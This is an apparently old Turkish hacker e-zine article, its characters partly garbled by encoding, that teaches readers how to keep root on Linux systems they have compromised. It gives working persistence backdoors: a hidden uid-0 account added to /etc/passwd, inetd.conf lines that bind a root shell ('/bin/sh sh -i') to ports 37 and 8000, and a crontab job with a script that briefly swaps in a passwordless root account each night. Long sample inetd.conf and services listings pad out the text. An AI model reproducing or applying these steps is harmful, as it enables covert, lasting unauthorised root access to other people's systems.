BACKDOOR - Backdoor Nedir, Nas�l Kullan�l�r (B�l�m I). (D�zenleyen DaRkCLusTeR) (Turk Crackerlar Gazetesi) MeRHabA!!! Bu seferki yaz�m�n konusu arka kap�lar, size birka� arka kap� g�sterece�im. �ok kar���k olmayanlar�ndan, yani kendi Linux'�n�zde yaz�y� okur okumaz deneyebilirsiniz, ve ayr�ca g�sterece�im arka kap�lardan yola ��k�p hayal g�c�n�z� de kullanarak, �ok ho� arka kap�lar yapabilirsiniz..Yaln�z arka kap�lar "root" elde etmek i�in de�ildir. Arka kap�lar �ok �al���p zorla elde etti�iniz "root"'u sistemde g�venlik delikleri olu�turarak bir sonraki geri d�n���n�z i�in elinizde tutman�z i�indir. Herneyse, diyelim ki �ok aceleniz var ve hemen bir arka kap� olu�turmak istiyorsunuz. /etc/passwd dosyas�n� hemen bir programla a��p ortalar�na bir yere ��phe �ekmeyecek bir root hesab� ekleyin ya da dosyan�n derinlerinde bir yerlerde sistem y�neticisinin daha �nceden dondurdu�u bir hesab�n uid'ini 0 yap�n ve * i�aretini kald�r�n. Bunlar zorunlu kalmad�k�a kullan�lmamas� gereken y�ntemlerdir ve sistem y�neticisinin en �abuk fark edece�i kap�lard�r. Bu y�zden ZORUNLU KALMADIK�A KULLANMAYIN!!! �imdi geldik bir inetd.conf arka kap�s�na! Ama en e�lencelisini sona saklad�m..hehe... Inetd, sistemin portlar�n� y�kleyen bir programd�r ve ayn� zamanda arka kap�lar i�in de �ok uygundur. Ger�i /etc/inetd.conf dosyas�nda de�i�iklik yap�larak yarat�lan arka kap�lar�n ya�am s�resi sistem y�neticisine g�re de�i�ir. Pek uzun ya�ayacaklar�n� hi� sanm�yorum; fakat denemeye de�er. A�a��da kendi bilgisayar�mdaki Linux'den ald���m bir /etc/inetd.conf �rne�i var. (Tabii ki hepsi de�il...) #ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a #telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd #gopher stream tcp nowait root /usr/sbin/tcpd gn #nntp stream tcp nowait root /usr/sbin/tcpd in.nntpd #shell stream tcp nowait root /usr/sbin/tcpd in.rshd #login stream tcp nowait root /usr/sbin/tcpd in.rlogind #exec stream tcp nowait root /usr/sbin/tcpd in.rexecd #talk dgram udp wait root /usr/sbin/tcpd in.talkd #ntalk dgram udp wait root /usr/sbin/tcpd in.ntalkd #dtalk stream tcp waut nobody /usr/sbin/tcpd in.dtalkd #pop-2 stream tcp nowait root /usr/sbin/tcpd ipop2d #pop-3 stream tcp nowait root /usr/sbin/tcpd ipop3d #imap stream tcp nowait root /usr/sbin/tcpd imapd #uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/lib/uucp/uucico -l #tftp dgram udp wait root /usr/sbin/tcpd in.tftpd #bootps dgram udp wait root /usr/sbin/tcpd bootpd finger stream tcp nowait root /usr/sbin/tcpd in.fingerd -l #cfingerstream tcp nowait root /usr/sbin/tcpd in.cfingerd #systat stream tcp nowait guest /usr/sbin/tcpd /bin/ps -auwwx #netstatstream tcp nowait guest /usr/sbin/tcpd /bin/netstat -f inet #time stream tcp nowait nobody /usr/sbin/tcpd in.timed #time dgram udp wait nobody /usr/sbin/tcpd in.timed #auth stream tcp nowait nobody /usr/sbin/in.identd in.identd -l -e -o # i�areti Linux'e o sat�r� okumamas�n� sa�l�yor. G�rd���n�z gibi benim sadece telnet ve finger portlar�m a��k. Asl�nda normalde ben hi� bir portumu a��k b�rakmam, ama bu aralar a��k i�te :) �imdi "Bunlarda nedir?" diye soracaks�n�z. Telnet'i ele alal�m. Sat�rdaki birinci b�l�m �al��t�r�lacak daemon'un, yani, program�n ismidir. �kinci b�l�mdeki stream socket tipidir. TCP'nin socketi stream ,UDP'ninkiyse dgram. Sonraki b�l�mde ise protocol ismini g�r�yorsunuz. Sonraki b�l�mdeyse program�n hangi kullan�c� t�r� olarak �al��aca�� belirlenir. Yani telnet root (uid=0) olarak �al��acak. Be�inci b�l�mde ise program�n bulundu�u dizin var; fakat benim inetd.conf dosyamda /usr/sbin/tcpd'yi g�r�yorsunuz. Tcpd g�venlik i�in baz� bilgileri kaydeden bir daemon oldu�una g�re, burada telnetin hareketleri normalde oldu�undan fazla kaydediliyor. Son b�l�mdeyse daemonun paremetreleriyle beraber ger�ek ismini g�r�yorsunuz. Bir de daemonlar�n hangi portlar� ve protocolleri kulland���n� i�eren /etc/services dosyas� vard�r. Bu dosya sayesinde 23 olan telnet portunu, 7000 yapabiliriz :) A�a��da bir services �rne�i var: tcpmux 1/tcp # rfc-1078 echo 7/tcp echo 7/udp discard 9/tcp sink null discard 9/udp sink null systat 11/tcp users daytime 13/tcp daytime 13/udp netstat 15/tcp qotd 17/tcp quote chargen 19/tcp ttytst source chargen 19/udp ttytst source ftp-data 20/tcp ftp 21/tcp telnet 23/tcp smtp 25/tcp mail time 37/tcp timserver time 37/udp timserver rlp 39/udp resource # resource location name 42/udp nameserver whois 43/tcp nicname # usually to sri-nic domain 53/tcp domain 53/udp mtp 57/tcp # deprecated bootps 67/udp # bootp server bootpc 68/udp # bootp client tftp 69/udp gopher 70/tcp # gopher server rje 77/tcp finger 79/tcp http 80/tcp # www is used by some broken www 80/tcp # progs, http is more correct link 87/tcp ttylink kerberos 88/udp kdc # Kerberos authentication--udp kerberos 88/tcp kdc # Kerberos authentication--tcp supdup 95/tcp # BSD supdupd(8) hostnames 101/tcp hostname # usually to sri-nic iso-tsap 102/tcp x400 103/tcp # ISO Mail x400-snd 104/tcp csnet-ns 105/tcp pop-2 109/tcp # PostOffice V.2 pop-3 110/tcp # PostOffice V.3 pop 110/tcp # PostOffice V.3 sunrpc 111/tcp sunrpc 111/tcp portmapper # RPC 4.0 portmapper UDP sunrpc 111/udp sunrpc 111/udp portmapper # RPC 4.0 portmapper TCP auth 113/tcp ident # User Verification sftp 115/tcp uucp-path 117/tcp nntp 119/tcp usenet # Network News Transfer ntp 123/tcp # Network Time Protocol ntp 123/udp # Network Time Protocol netbios-ns 137/tcp nbns netbios-ns 137/udp nbns netbios-dgm 138/tcp nbdgm netbios-dgm 138/udp nbdgm netbios-ssn 139/tcp nbssn imap 143/tcp # imap network mail protocol NeWS 144/tcp news # Window System snmp 161/udp snmp-trap 162/udp exec 512/tcp # BSD rexecd(8) biff 512/udp comsat login 513/tcp # BSD rlogind(8) who 513/udp whod # BSD rwhod(8) shell 514/tcp cmd # BSD rshd(8) syslog 514/udp # BSD syslogd(8) printer 515/tcp spooler # BSD lpd(8) talk 517/udp # BSD talkd(8) ntalk 518/udp # SunOS talkd(8) efs 520/tcp # for LucasFilm route 520/udp router routed # 521/udp too timed 525/udp timeserver tempo 526/tcp newdate courier 530/tcp rpc # experimental conference 531/tcp chat netnews 532/tcp readnews netwall 533/udp # -for emergency broadcasts uucp 540/tcp uucpd # BSD uucpd(8) UUCP service klogin 543/tcp # Kerberos authenticated rlogin kshell 544/tcp cmd # and remote shell new-rwho 550/udp new-who # experimental remotefs 556/tcp rfs_server rfs # Brunhoff remote filesystem rmonitor 560/udp rmonitord # experimental monitor 561/udp # experimental pcserver 600/tcp # ECD Integrated PC board srvr mount 635/udp # NFS Mount Service pcnfs 640/udp # PC-NFS DOS Authentication bwnfs 650/udp # BW-NFS DOS Authentication kerberos-adm 749/tcp # Kerberos 5 admin/changepw kerberos-adm 749/udp # Kerberos 5 admin/changepw kerberos-sec 750/udp # Kerberos authentication--udp kerberos-sec 750/tcp # Kerberos authentication--tcp kerberos_master 751/udp # Kerberos authentication kerberos_master 751/tcp # Kerberos authentication krb5_prop 754/tcp # Kerberos slave propagation listen 1025/tcp listener RFS remote_file_sharing nterm 1026/tcp remote_login network_terminal kpop 1109/tcp # Pop with Kerberos ingreslock 1524/tcp tnet 1600/tcp # transputer net daemon cfinger 2003/tcp # GNU finger nfs 2049/udp # NFS File Service eklogin 2105/tcp # Kerberos encrypted rlogin krb524 4444/tcp # Kerberos 5 to 4 ticket xlator irc 6667/tcp # Internet Relay Chat dos 7000/tcp msdos Buraya istedi�inizi ekleyebilirsiniz. �rne�in; ircyi ele alal�m. Ba�taki "irc" s�zc��� /etc/inetd.conf'un i�inde yer alacak olan isim, 6667 port numaras�, tcp protokol tipi, # i�aretinden sonraki b�l�mse a��klamas�. Art�k bu anlatt�klar�mdan sonra, kap�y� nas�l koyaca��n�z� anlataca��m. Kendi servisinizi y�kleyebilirsiniz ya da �nceden y�klenmi� bir servisi de�i�tirebilirsiniz. �rne�in, kurban�m�z time olsun. time stream tcp nowait nobody /usr/sbin/tcpd in.timed Time'�n port numaras� services dosyas�nda 37 olarak belirlendi�i i�in services dosyas�n� de�i�tirmeye gerek yok. �nemli olan son �� b�l�m. Kap�m�z�n root olarak �al��mas� �art oldu�u i�in nobody yerine root yaz�n. /usr/sbin/tcpd yerine /bin/sh yaz�n. Ve son olarak in.timed yerine sh -i yaz�n. Sat�r�n ayn� a�a��daki gibi olmas� gerekiyor: time stream tcp nowait root /bin/sh sh -i Hepsi bu kadar! E�er isterseniz riske girip y�netici yerine siz "killall -HUP inetd" yazarak dosyay� tekrar okutabilirsiniz ya da biraz bekleyebilirsiniz. �imdi tek yapaca��n�z port 37'ye telnet �ekmek. Root olarak sistemde bulacaks�n�z kendinizi...heuehuhu...Tek yapaca��n�z kap�n�z� /etc/services dosyas�na tan�tmak ve inetd.conf'a eklemek. ��te size bir �rnek: inetd.conf --> filter stream tcp nowait root /bin/sh sh -i services --> filter 8000/tcp backdoor ��te bu kadar. �imdi tek yapaca��n�z "killall -HUP inetd" yaz�p, port 8000'e telnet �ekmek. Hi� zor de�il...Ama bu kap�lar daha �nce de dedi�im gibi hemen fark edilir. Peki hangileri hemen fark edilmez? C dosyas� �eklinde olan truva atlar� tabii ki! Ve son olarak /etc/crontab kap�lar�na geldik. Sadece bir tane �rnek verece�im, ��nk� hayal g�c�n�z� kullanarak bir s�r� de�i�ik kap� �retebilirsiniz. Crond istedi�iniz zamanda istedi�iniz i�lemi yapman�z� sa�layan �ok yararl� bir ara�t�r. �imdiki �rnekte, crond 30 saniyeli�ine beg�m isimli bir kullan�c�y� aktif hale getiriyor. Basit ama etkili br �rnek. Nas�l m� yapacaks�n�z? �ok basit, sadece /etc/crontab dosyas�na bir sat�r gireceksiniz ve birka� shell dosyas� yapacaks�n�z. Tabii ki biraz unix bilginizin oldu�unu d���n�yorum. A�a��da crontab dosyas�ndaki alanlar�n a��klamalar� var: (1) (2) (3) (4) (5) (6) dakika saat g�n ay haftan�n�al��t�r�lacak komut ya da dosya 0-59 0-23 1-31 1-12 0-6g�n� �imdi /var/spool/crond/ ya da /var/spool/mail/ dizinlerinden biri mutlaka olacakt�r. Varsa /var/spool/crond/, yoksa /var/spool/mail/ dizininin i�ine gidip "begum" adl� bir dosya yarat�n ve bu dosyan�n i�ine �unlar� girin: 30 23 * * * sh /usr/bin/test Sonra /usr/bin/ dizinine gidin ve test adl� bir dosya yarat�p �u de�i�iklikleri yap�n: cp /etc/passwd /etc/passwdd rm /etc/passwd cp /etc/tester /etc/passwd sleep 30 rm /etc/passwd cp /etc/passwdd /etc/passwd Daha sonra /etc/'ye gidip tester adl� bir dosya yarat�p a�a��dakileri girin: begum::0:0:Begum Atac:/:/bin/bash ��te arka kap�n�z haz�r! Her g�n saat 23:30'da 30 saniyeli�ine ger�ek passwd dosyas� yerine kendi begum isimli root hesab�m�z� aktif hale getiriyoruz! Bu �ok basit ve bir �ok insan�n bildi�i bir kap�d�r. Tabii ki hayal g�c�n�z sayesinde �ok daha karma��k ve iyilerini yaratabilirsiniz. Hepsi bu kadar...Size anlatt�klar�m� ba�ka yerlerde de okumu� olabilirsiniz. Bana mail at�p kopyalad��m� s�ylemeyin! Neden mi? ��nk� bunlar en �ok bilinen kap�lard�r, bu nedenle ba�kalar�n�n da anlatm�� olmas� �ok normal! Herneyse, belki ba�ka bir say�da kar���k arka kap� �rnekleri veririm, �imdilik bu kadar. Kendinize iyi bak�n!
SAYGILAR...